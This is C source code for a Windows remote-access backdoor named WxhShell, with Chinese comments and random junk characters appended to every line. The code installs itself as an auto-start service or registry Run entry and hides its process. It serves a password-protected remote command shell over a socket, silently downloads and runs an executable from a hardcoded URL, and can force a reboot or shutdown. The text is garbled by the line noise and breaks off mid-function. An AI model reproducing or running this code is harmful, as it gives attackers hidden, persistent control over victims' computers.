    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2xxB\J  
    else { 9Sg<K)Mc  
    closesocket(wsh); >hsuAU.UOR  
    ExitThread(0); )N !>=  
    } zF&=U`v  
    break; N|Cs=-+  
    } WlwY <)  
  // 获取shell X_TiqV  
  case 's': { NC"yDWnO'  
    CmdShell(wsh); rpV1y$n<F  
    closesocket(wsh); Oe!6){OG)  
    ExitThread(0); zr_yO`{  
    break; W6/ @W  
  } b]fzRdhl  
  // 退出 >,5i60Q  
  case 'x': { #/-_1H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `dkV_ O0  
    CloseIt(wsh); [xlIG}e9  
    break; 1y"3  
    } ^Z,q$Gp~P  
  // 离开 l* dV\ B  
  case 'q': { vZAv_8S)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DDd/DAkCX  
    closesocket(wsh); })F*:9i*  
    WSACleanup(); 1=VJ&D;  
    exit(1); VD7i52xS  
    break; /f{$I  
        } \Sy7 "a  
  } 0D&>Gyc*0  
  } fw-\|fP  
iLX_T]1  
  // 提示信息 eEw.'B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qu\@Y[eia5  
} c0- ;VZ'  
  } |zsbW9 W*m  
!u|Tu4G^  
  return; Nh!_l  
} 6z,Dyy]tl  
yt0,^*t_  
// shell模块句柄 S;\R!%t_  
int CmdShell(SOCKET sock) @tT-JwU  
{ hsNWqk qys  
STARTUPINFO si; J ++v@4Z  
ZeroMemory(&si,sizeof(si)); e{w>%)rcP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :QQlI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k3Cz9Vt%  
PROCESS_INFORMATION ProcessInfo; hvV_xD8|  
char cmdline[]="cmd"; c-1q2y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h1D?=M\9  
  return 0; |L3X_Me  
} x hs#u  
#KpY6M-H  
// 自身启动模式 eny/ fm  
int StartFromService(void) ^_5|BT@  
{ &Z("D7.G  
typedef struct n{5NNV6  
{ m?CZQq,  
  DWORD ExitStatus; P }7zE3V  
  DWORD PebBaseAddress; kPxT" " k  
  DWORD AffinityMask; np$ zo  
  DWORD BasePriority; #=c`of6  
  ULONG UniqueProcessId; ^q[gxuL_  
  ULONG InheritedFromUniqueProcessId; `FF8ie8L  
}   PROCESS_BASIC_INFORMATION; Gpj* V|J  
pHE}ytcT  
PROCNTQSIP NtQueryInformationProcess; Yc Q=vt{  
K`%tGVY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j6:7AH|!)2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K >tf,  
zd %rs~*c  
  HANDLE             hProcess; KM,|} .@:  
  PROCESS_BASIC_INFORMATION pbi; A$/\1282  
:%r S =f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rfcN/:k  
  if(NULL == hInst ) return 0; k-LEI}h  
| }&RXD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); </zXA$m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y g|lq9gD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -#:zsu  
wVl+]zB  
  if (!NtQueryInformationProcess) return 0; GC@+V|u  
=6 r:A<F!n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >7Jr^o#|_x  
  if(!hProcess) return 0; EM j;2!  
Fzq41jiS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "eAy^,  
L1m{]>{-  
  CloseHandle(hProcess); #E7AmmqD%  
=Ufr^naA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bn?V9TEoO  
if(hProcess==NULL) return 0; zU5Hb2a  
u eb-2[=  
HMODULE hMod; CON0E~"  
char procName[255]; "h"NW[R  
unsigned long cbNeeded; T<b+s#n4  
+JyUe    
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N5U)*U'-u  
_Q(g(p&  
  CloseHandle(hProcess); QfjN"25_  
H U+ I  
if(strstr(procName,"services")) return 1; // 以服务启动 W !}{$  
B~o-l*  
  return 0; // 注册表启动 !p"aAZT7sq  
} m6mwyom.  
Y'VBz{brf  
// 主模块 njPPztv/@  
int StartWxhshell(LPSTR lpCmdLine) hcCp,b  
{ 6i@\5}m=  
  SOCKET wsl; Vy<HA*  
BOOL val=TRUE; xG2F!WeF  
  int port=0; '_P\#7$!MV  
  struct sockaddr_in door; ,zTb<g  
H6TD@kL9Wr  
  if(wscfg.ws_autoins) Install(); v 4/-b4ET  
]bdFr/!'S+  
port=atoi(lpCmdLine); "`Ge~N[$A  
/'.=sH  
if(port<=0) port=wscfg.ws_port;  :nY 2O  
XMN:]!1J  
  WSADATA data; 7Cqcb>\X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0u B'g+MU`  
O\KQl0*l\\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Lv[OUW#S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 266oTER]v:  
  door.sin_family = AF_INET; m} ?rJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ` Nh"  
  door.sin_port = htons(port); %qf  V+^  
ef!XV7 P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~X(UcZ2  
closesocket(wsl); , "0)6=AE  
return 1; >g ll-&;t  
} nz.{P@[Qk  
^D^JzEy'?C  
  if(listen(wsl,2) == INVALID_SOCKET) { P(k(m< 0  
closesocket(wsl); z&8un% Jt  
return 1; `6Qdfmk=  
} QnouBrhO  
  Wxhshell(wsl); yF._*9Q3hK  
  WSACleanup(); FyoEQ%.bI  
tvKAIwe  
return 0; T GB_~Bqe  
BG&cQr  
} <+j)P4O4  
penlG36Q  
// 以NT服务方式启动 P,S G.EFK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `Pn[tuIO  
{ U:6W+p8  
DWORD   status = 0; 5+Mdh`  
  DWORD   specificError = 0xfffffff; \VMD$zZx  
Ty(@+M~-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4674SzL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )jrT6x^IB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ikBYd }5  
  serviceStatus.dwWin32ExitCode     = 0; G$zL)R8GE|  
  serviceStatus.dwServiceSpecificExitCode = 0; f$HH:^#  
  serviceStatus.dwCheckPoint       = 0; YZ$ZcfXDW  
  serviceStatus.dwWaitHint       = 0; 1k%k`[VC  
0yM[Z':i'{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tirIgZ  
  if (hServiceStatusHandle==0) return; -D^A:}$  
)3<:tV8   
status = GetLastError(); o_M.EZO  
  if (status!=NO_ERROR) _Us*+ 2(4L  
{ A=zPL q{Sb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )2q~u%9n  
    serviceStatus.dwCheckPoint       = 0; AdZ;j6#  
    serviceStatus.dwWaitHint       = 0; ^E`(*J/o  
    serviceStatus.dwWin32ExitCode     = status; fQK"h  
    serviceStatus.dwServiceSpecificExitCode = specificError; /2M.~3gQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rx"s!y{!-  
    return; RR;AJ8wd  
  } `i +g{kE2M  
ysIh[1E~%:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s^OO^%b  
  serviceStatus.dwCheckPoint       = 0; n(nBRCG)o  
  serviceStatus.dwWaitHint       = 0; Y<"7x#AB!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cV{%^0? D  
} 3ss6_xd+  
^\:8w0Y^  
// 处理NT服务事件,比如:启动、停止 "& Dx=Yf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z BUArIC  
{ l&YKD,H};  
switch(fdwControl) _lKZmhi  
{ $2D uB  
case SERVICE_CONTROL_STOP: R #]jSiS  
  serviceStatus.dwWin32ExitCode = 0; )\;Z4x;]U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Fk;o E'"D  
  serviceStatus.dwCheckPoint   = 0; {+<P:jbz;  
  serviceStatus.dwWaitHint     = 0; mnk"Vr` L  
  { { x0t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }{9&:!uA  
  } ^04Q%,  
  return; tc r//  
case SERVICE_CONTROL_PAUSE: NCqo@vE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t2" (2  
  break; !  Z`0(d  
case SERVICE_CONTROL_CONTINUE: l=N2lHU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; raVA?|'g~  
  break; D0(xNhmKz  
case SERVICE_CONTROL_INTERROGATE: FOwDp0  
  break; (R~]|?:wt  
}; e6B{QP#jq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xb !MaNm)  
} P #F=c34u  
vzel#  
// 标准应用程序主函数 Y!q!5Crfi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -V"22sR]  
{ K ]OK:hY4  
Uawpfgc}  
// 获取操作系统版本 "N:XzG  
OsIsNt=GetOsVer(); lJP1XzN_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); . #Z+Z  
LLWB  
  // 从命令行安装 :f5s4N  
  if(strpbrk(lpCmdLine,"iI")) Install(); '$As<LOEd/  
^ 5VK>  
  // 下载执行文件 cH-@V<  
if(wscfg.ws_downexe) { @=]~\[e\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GT hL/M  
  WinExec(wscfg.ws_filenam,SW_HIDE); M}_ i52  
} .O*bILU  
2-zT$`[]J  
if(!OsIsNt) { \7MHaQvS   
// 如果时win9x,隐藏进程并且设置为注册表启动 E+"dqSI/v  
HideProc(); < _$%@4 L  
StartWxhshell(lpCmdLine); 5Ft5@UF~  
} to8X=80-3  
else 1CPjil*eb  
  if(StartFromService()) o47r<>t  
  // 以服务方式启动 fl Jp4-nx  
  StartServiceCtrlDispatcher(DispatchTable); ]Q "p\@\!  
else ;n=. {[,  
  // 普通方式启动 < XTU8G  
  StartWxhshell(lpCmdLine); +9O5KI?P  
1iL 'V-y  
return 0; {ng"=3+n  
} M L7 \BT  
?6c-7QV  
kVI#(uO  
 $rXh0g  
=========================================== (qn2xrV  
qj0 1]  
Z3 ;!l  
%8aC1x  
[md u!!*  
*F>v]8  
" C=uZ1xg*,  
&Gm$:T'~  
#include <stdio.h> ( nW67YTr  
#include <string.h> x# ~ x;)  
#include <windows.h> B:"THN^  
#include <winsock2.h> jUj<~:Q}3o  
#include <winsvc.h> ES<1tG  
#include <urlmon.h> x?x`oirh  
hA 3HVP_  
#pragma comment (lib, "Ws2_32.lib") ej&<GM|  
#pragma comment (lib, "urlmon.lib") oHM ]  
syx\gz  
#define MAX_USER   100 // 最大客户端连接数 rOW-0B+N  
#define BUF_SOCK   200 // sock buffer I O%6 O  
#define KEY_BUFF   255 // 输入 buffer =k}SD96  
L?_7bX oD  
#define REBOOT     0   // 重启 OE)~yKy  
#define SHUTDOWN   1   // 关机 0Q"u#V Sp  
U,/6;}  
#define DEF_PORT   5000 // 监听端口 N-lGa@ j  
c~A4gtB=  
#define REG_LEN     16   // 注册表键长度 )oo~m\`  
#define SVC_LEN     80   // NT服务名长度 eRbGZYrJ  
oq-<ob  
// 从dll定义API _ 7oV<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fsO9EEn7 X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JXiZB 8}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;vhyhP.oM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^/wfXm  
ufa41$B'yG  
// wxhshell配置信息 DPe]daF  
struct WSCFG { Uu6L~iB  
  int ws_port;         // 监听端口 NIZ<0I*5  
  char ws_passstr[REG_LEN]; // 口令 f#%JSV"7  
  int ws_autoins;       // 安装标记, 1=yes 0=no Nd:R" p*8  
  char ws_regname[REG_LEN]; // 注册表键名 (-7ZI"Ku  
  char ws_svcname[REG_LEN]; // 服务名 t{!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ci,+Bjc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RhF>T&Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kI*(V [i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qv 3^5 d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q_*_?yf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lJykyyCY+  
`|1MlRM9  
}; Rg29  
CR4rDh8za  
// default Wxhshell configuration 1`f_P$&Z_J  
struct WSCFG wscfg={DEF_PORT, Q^}%c U0  
    "xuhuanlingzhe", 71FeDpe  
    1, sfp,Lq`  
    "Wxhshell", W!$zXwY}(  
    "Wxhshell", ,zcQS-e2  
            "WxhShell Service", KYJ1}5n  
    "Wrsky Windows CmdShell Service", /rB{[zk  
    "Please Input Your Password: ", u%|zc=  
  1, v=Y K8fNi  
  "http://www.wrsky.com/wxhshell.exe", E ?2O(  
  "Wxhshell.exe" &'|B =7  
    }; U3;aLQ*  
:L?_Y/K  
// 消息定义模块 1.@vS&Y7OE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @}FAwv^f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $BN15x0/:~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S{F-ttS"  
char *msg_ws_ext="\n\rExit."; >hMUr*j  
char *msg_ws_end="\n\rQuit."; T*2C_oW  
char *msg_ws_boot="\n\rReboot..."; UyYfpL"$A"  
char *msg_ws_poff="\n\rShutdown..."; =Cf ]  
char *msg_ws_down="\n\rSave to "; &!.HuRiuC  
iCG`3(xL  
char *msg_ws_err="\n\rErr!"; )yee2(S  
char *msg_ws_ok="\n\rOK!"; A(6xg)_XQ  
 ~m=EM;  
char ExeFile[MAX_PATH]; O0l^*nZ46t  
int nUser = 0; 4 (?MUc  
HANDLE handles[MAX_USER]; l?N`{ ,1^  
int OsIsNt;  |qcD;  
>X}{BDMb.  
SERVICE_STATUS       serviceStatus; ,+/zH'U}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bl.u=I:Y4  
d{+(Lpj^  
// 函数声明 =6nD0i 9+  
int Install(void); PB'0?b}fab  
int Uninstall(void); {g F0Xm%  
int DownloadFile(char *sURL, SOCKET wsh); Ng<1Sd|MV  
int Boot(int flag); O;XG^s@5  
void HideProc(void); =Z0t :{  
int GetOsVer(void); M8W#io  
int Wxhshell(SOCKET wsl); WnxEu3U  
void TalkWithClient(void *cs); z MdC  
int CmdShell(SOCKET sock); q|#MB7e/  
int StartFromService(void); 6XUuGxQV/  
int StartWxhshell(LPSTR lpCmdLine); Rq)BssdF  
M=!i>(yG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y%(X+E"n*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W|c.l{A5Q  
T-L5zu  
// 数据结构和表定义 2hOPzv&B  
SERVICE_TABLE_ENTRY DispatchTable[] = 90:K#nW;  
{ D&{ *AH%Q  
{wscfg.ws_svcname, NTServiceMain}, BA+_C]%ZJ  
{NULL, NULL} -WR}m6yMr  
}; aiftlY  
|qUrEGjiSS  
// 自我安装 IsYP0(L  
int Install(void) 7 ^I:=qc72  
{ ia{kab|_5  
  char svExeFile[MAX_PATH]; xfHyC'?  
  HKEY key; v[#)GB _5  
  strcpy(svExeFile,ExeFile); 9{eBgdC  
M []OHw  
// 如果是win9x系统,修改注册表设为自启动 I6dm@{/:>  
if(!OsIsNt) { W cGXp$M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9N Le&o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f'{>AKi=C  
  RegCloseKey(key); kV)' a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m^tNqJs8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~mH+DV3  
  RegCloseKey(key); {+=i?  
  return 0; |~$7X  
    } 7:o+iP46  
  } c^S&F9/U*  
} :XS"# ^aJ  
else { 0|C[-ppr  
a$+#V=bA  
// 如果是NT以上系统,安装为系统服务 |=3 *;}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dF,DiRD  
if (schSCManager!=0) JuJ5qIal  
{ {wu!6\:<??  
  SC_HANDLE schService = CreateService t<lyg0f  
  ( O,9X8$5H-a  
  schSCManager, <nA3Sd"QfV  
  wscfg.ws_svcname, 1URsHV!xcM  
  wscfg.ws_svcdisp, qJMp1DC  
  SERVICE_ALL_ACCESS, ^<9)"9)m_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a;p6?kv  
  SERVICE_AUTO_START, |Ow$n  
  SERVICE_ERROR_NORMAL, }#YQg0(  
  svExeFile, `Kp}s<  
  NULL, rk|a'&  
  NULL, \>[gl!B_Rr  
  NULL, lt%-m@#/  
  NULL, nO [QcOf  
  NULL h.LSMU (O  
  ); qS82/e)7  
  if (schService!=0)  * D3  
  { o}R|tOe  
  CloseServiceHandle(schService); &|] Fg5  
  CloseServiceHandle(schSCManager); )fR1n}#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]Hj`2\KD.d  
  strcat(svExeFile,wscfg.ws_svcname); <Am^z~[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8)`5P\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bgXc_>T6_y  
  RegCloseKey(key); |vN$"mp^a  
  return 0; EM~7#Y  
    }  RA~_]Hk  
  } :O#gJob-%s  
  CloseServiceHandle(schSCManager); &@Yoj%%  
} lc-*8eS  
} v_.j/2U  
'Sk6U]E~  
return 1; h@/>?Va  
} lZ+/\s,]|  
],#ZPUn  
// 自我卸载 ;WPI+`-  
int Uninstall(void) |W/Hi^YE2  
{ xKisL=l6Y  
  HKEY key; w7[0  
-hm 9sNox  
if(!OsIsNt) { D`5: JR-{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _4De!q0(  
  RegDeleteValue(key,wscfg.ws_regname); aGe\.A=  
  RegCloseKey(key); <C2c" =b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uFa-QG^Y{  
  RegDeleteValue(key,wscfg.ws_regname); !DCVoc]pV  
  RegCloseKey(key); csm?oUniz  
  return 0; !vi4* @:  
  } <4SF~i  
} @)8NI[=6O  
} +2f> M4q  
else { .jy)>"h0  
(p'/p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )E_!rR  
if (schSCManager!=0) agGgJ@  
{ ',<{X (#(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XWJ0=t&}  
  if (schService!=0) nT(!HDH  
  { }qTv&Z3$  
  if(DeleteService(schService)!=0) { GWVEIZ  
  CloseServiceHandle(schService); 4j2~"K  
  CloseServiceHandle(schSCManager); <;.}WQC  
  return 0; S;G"L$&\  
  } w`2_6[,9  
  CloseServiceHandle(schService); |v,}%UN2  
  } wK/}E h\^  
  CloseServiceHandle(schSCManager); K7YT0cG  
} })Ix .!p  
} t;bZc s  
k|)^!BdO  
return 1; gt(X!iN]  
} ?^F*"+qI  
:C}KI)  
// 从指定url下载文件 d{(s-  
int DownloadFile(char *sURL, SOCKET wsh) $u(M 4(}  
{ _CYmG"mY  
  HRESULT hr; [0( E>vm  
char seps[]= "/"; S S7D1  
char *token; d7n4zx1Hh  
char *file; X}ey0)g%  
char myURL[MAX_PATH]; W,L>'$#pM  
char myFILE[MAX_PATH]; ?}!gLp  
0DW'(#`  
strcpy(myURL,sURL); S0X.8Bq  
  token=strtok(myURL,seps); Y:#kel<  
  while(token!=NULL) k1@  A'n  
  { "m<eHz]D  
    file=token; TWD|1 di0  
  token=strtok(NULL,seps); [7ek;d;'t  
  } 8=u+BDG  
),W (TL  
GetCurrentDirectory(MAX_PATH,myFILE); h<!khWFS  
strcat(myFILE, "\\"); 3e!a>Gl*  
strcat(myFILE, file); &,6y(-  
  send(wsh,myFILE,strlen(myFILE),0); R-0_226  
send(wsh,"...",3,0); J_((o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u:qD*zOq  
  if(hr==S_OK) W6!4Qyn  
return 0; hIg, 0B  
else bo?3E +B  
return 1; C$Hl`>?$  
$=S'#^Z  
} A(!ZZ9 Wc  
Ke;X3j ]`  
// 系统电源模块 HK,G8:T  
int Boot(int flag) olQ8s *  
{ ]I.& .?^i0  
  HANDLE hToken; U{:(j5m  
  TOKEN_PRIVILEGES tkp; W;)FNP|MT  
Bafz&#;Q'  
  if(OsIsNt) { q4#f *]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8BoT%kVeJv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $'mB8 S  
    tkp.PrivilegeCount = 1; 2 vJ[vsrFv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )su <Ji*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); { ves@p>?  
if(flag==REBOOT) { J#OE}xASoA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?3E_KGI  
  return 0; .8uwg@yD  
} g,GbaaXH  
else { BC0c c[x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d ;7pri)B  
  return 0; FsPDWy&x  
} g:3'x/a1  
  } meVVRFQ2+  
  else { :`"T Eif  
if(flag==REBOOT) { :,z3 :PL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kI[O{<kQ  
  return 0;  _I}L$  
} r/$)c_x`  
else { i,b7Ft:F&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,5+X%~'  
  return 0; R&|)y:bg|  
} -O> mY)  
} |I^Jn@Mq:  
P)j9\ muc  
return 1; S%gO6&^  
} zam0(^=  
D>#v 6XI  
// win9x进程隐藏模块 lXk-86[M  
void HideProc(void) Y l3[~S  
{  |ukdn2Q  
ci NTYow  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l:Xf(TLa  
  if ( hKernel != NULL ) uV$d7(N}"  
  { wj5s5dH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c:_i)":  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <7-,`   
    FreeLibrary(hKernel); LW 3J$Am  
  } D}/.;]w<[&  
eHyuO)(xH1  
return; 714nUA872  
} ue:P#] tx  
#V,~d&_k  
// 获取操作系统版本 1~u\]Zi=D  
int GetOsVer(void) ieLN;)Iy^  
{ h)RM9813<  
  OSVERSIONINFO winfo; j.v _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Bv]wHPun  
  GetVersionEx(&winfo); L , Fso./y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mb`}sTU).  
  return 1; SK}g(X7IWH  
  else Nl)jQ  
  return 0; 2Xs< 1rF  
} }`FC__  
Uk ;.Hrt.  
// 客户端句柄模块 @z JZoJL]J  
int Wxhshell(SOCKET wsl)  y] r~v  
{ R$m?&1K  
  SOCKET wsh; :+^llz  
  struct sockaddr_in client; A8/4:>Is  
  DWORD myID; R* G>)YH  
ly5L-=Xb  
  while(nUser<MAX_USER) ]_xGVwem  
{ 7TY"{? ~O5  
  int nSize=sizeof(client); ,lYU#Hx*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VOOThdR  
  if(wsh==INVALID_SOCKET) return 1; '=Y~Ir+  
:%]R x&08  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $^ dk>Hj>4  
if(handles[nUser]==0) buyz>IC P  
  closesocket(wsh); (\Zo"x;(  
else ~'\u:Imuo  
  nUser++; Pg C]@Q%  
  } ;|,Y2?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4c@F.I  
1/J*ki+?  
  return 0; EPnB%'l\c  
} %d\+(:uu/  
Gw,kC{:C  
// 关闭 socket &}=,8Gt1G  
void CloseIt(SOCKET wsh) D|#(zjl@  
{ FEswNB(]*  
closesocket(wsh); ~,7R*71  
nUser--; t4f\0`jN  
ExitThread(0); HjR<4;2  
} .;6bMP[YA  
lB@K;E@r8  
// 客户端请求句柄 lI<8)42yq  
void TalkWithClient(void *cs) xWV7#Z7  
{ Sd11ZC6  
G dY^}TJrh  
  SOCKET wsh=(SOCKET)cs; V#KM~3e  
  char pwd[SVC_LEN]; _%!hkc(  
  char cmd[KEY_BUFF]; m q9&To!  
char chr[1]; (E[hl  
int i,j; ~;Kl/Z  
<Ux;dekz}  
  while (nUser < MAX_USER) { U++UG5c  
Pw.+DA  
if(wscfg.ws_passstr) { &T}e9 3]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jX@9849@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  /9Xf[<  
  //ZeroMemory(pwd,KEY_BUFF); inrL'z   
      i=0; 8^T$6A[b  
  while(i<SVC_LEN) { p(%x&*)f  
Pp!W$C:  
  // 设置超时 na)ceN2h  
  fd_set FdRead; H\vO0 <X  
  struct timeval TimeOut; krU2S-  
  FD_ZERO(&FdRead); R\?!r4  
  FD_SET(wsh,&FdRead); ~qH@Kz\%  
  TimeOut.tv_sec=8; RR|Eqm3)  
  TimeOut.tv_usec=0; =c'LG   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XF6= xD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mH"`46  
+0DIN4Y(4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mHy]$Z  
  pwd=chr[0]; 0:EiCKb)ol  
  if(chr[0]==0xd || chr[0]==0xa) { &-A 7%"  
  pwd=0; D![Twlll  
  break; oGZ9@Y)(T  
  } cAS5&T<  
  i++; K(^x)w r-:  
    } zO,sq%vQn'  
I\_R& v  
  // 如果是非法用户,关闭 socket IcZ'KV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sh 1fz 6g  
} *?K=;$  
4w,}1uNEf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  Bv3v;^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gex^\gf  
_%]H}N Q  
while(1) { I~I%z'"RQd  
moGbBkO  
  ZeroMemory(cmd,KEY_BUFF); }`(k X]][  
g=.5*'Xlp  
      // 自动支持客户端 telnet标准   uH#NJoR O  
  j=0; v3p..A~XZ.  
  while(j<KEY_BUFF) { )Jc>l;G(M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8"@<s?0\"  
  cmd[j]=chr[0]; c?d#Bj ?  
  if(chr[0]==0xa || chr[0]==0xd) { 19EU[eb  
  cmd[j]=0; T]xGE   
  break; +2?[=g4;}  
  } `e bB+gI  
  j++; ) E\pQ5&  
    } ra3WLK  
[q z6_WOo  
  // 下载文件 gDv]n^&  
  if(strstr(cmd,"http://")) { sM-*[Q=_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i0P+,U  
  if(DownloadFile(cmd,wsh)) -} (W=r\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VYwaU^  
  else JjwuxZVr O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -H \nFJ6+  
  } ;?rW`e2  
  else { }yw\+fc  
_FV.}%W<u  
